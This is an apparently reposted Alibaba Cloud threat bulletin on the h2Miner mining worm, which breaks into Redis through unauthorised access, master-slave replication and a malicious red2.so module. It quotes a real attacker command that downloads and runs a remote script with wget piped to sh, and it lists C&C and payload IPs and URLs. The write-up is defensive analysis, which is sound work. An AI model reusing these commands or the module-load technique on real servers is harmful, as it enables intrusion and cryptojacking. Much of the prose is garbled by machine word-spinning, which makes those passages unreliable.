威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

  • 时间:
  • 浏览:0
  • 来源:uu快三_uu快三直播_uu快三官网开奖平台

近日,阿里云安全团队发现h2Miner团伙规模经常急剧上升,在短短几日所影响的主机数量翻了有一一两个多 数量级,阿里云安全团队在第一时间进行了响应。根据分析,整体的攻击链路如下图:

h2Miner是有一一两个多 linux下的挖矿僵尸网络,通过hadoop yarn未授权、docker未授权、confluence RCE、thinkphp5RCE、Redis未授权等多种手段进行入侵,下载恶意脚本及恶意守护进程进行挖矿牟利,横向扫描扩大攻击面并维持C&C通信。

在执行类事 /bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1的恶意指令已经 ,攻击者会将的文件名恢复为默认的,并使用module unload卸载system模块的加载,从而清理相应的痕迹。但依旧在被攻击主机上残留有red2.so文件,建议用户关注自身Redis服务目录下算是有此可疑文件。

c&c

45.10.88.102

91.215.169.111

139.99.150.255

46.243.253.167

195.123.220.193

跟进其使用的恶意脚本,除了杀死一些恶意守护进程以抢夺资源之外,会向http://142.44.191.122/kinsing下载恶意二进制文件并运行,否则主机中饱含kinsing的守护进程或目录机会代表此机器已被该蠕虫"光临"。

根据简单的逆向分析结果显示,该恶意守护进程主要有以下功能:

h2miner主要使用Redis RCE的法子来完成入侵,首先利用Redis未授权或弱口令获取Redis登录权限,已经 利用使用config set dbfilename red2.so来修改保存文件名,已经 使用salveof命令设置主从克隆技术的主机地址。当目标Redis服务与攻击者所有的恶意Redis服务建立主从连接关系后,攻击者控制恶意Redis发送FULLRESYNC进行文件同步,同步的结果会在目标Redis上写入red2.so文件,从而完成了恶意so文件的传输。在此已经 ,攻击者利用module load ./red2.so加载此so文件,此模块根据传入的参数还都可以执行任意指令或发起反向连接获取shell环境。

攻击链路

机会全网redis近百万台的数量,否则阿里云安全团队建议用户尽量算是而是将redis服务暴露在公网,及时排查相关弱口令问題及算是受蠕虫影响,必要时可考虑选则安全产品帮助保障安全。

/kinsing



恶意守护进程函数列表

142.44.191.122/t.sh

185.92.74.42/h.sh

142.44.191.122/spr.sh

142.44.191.122/spre.sh

195.3.146.118/unk.sh

在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的法子进行入侵,某种法子受权限与系统类型影响算是而是一定不能成功。而此次使用redis加载module的攻击法子,还都可以直接执行任意指令或拿到shell交互环境,危害极大。

此利用法子由Pavel Toporkov在zeronights 2018上分享,在Redis 4.x已经 ,Redis新增了Module功能,使用者还都可以在Redis中加载由C语言编译而成的so文件,从而实现特定的Redis命令。而在Redis主从模式下,还都可以通过FULLRESYNC同步文件到从机上,从而完成恶意so文件的传输。传输完成后在目标机Redis上进行Module加载,便可执行任意指令。

除此之外,恶意守护进程中内置了C&C服务器ip地址,受影响的主机会以http的法子与C&C通信服务器进行通信,其中肉鸡的信息在http头部中标识。

本文作者: 苍珀

致谢:桑铎

近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波经常爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的法子从恶意服务器上同步恶意module,已经 在目标机器去掉 载此恶意module并执行恶意指令。



内置C&C服务器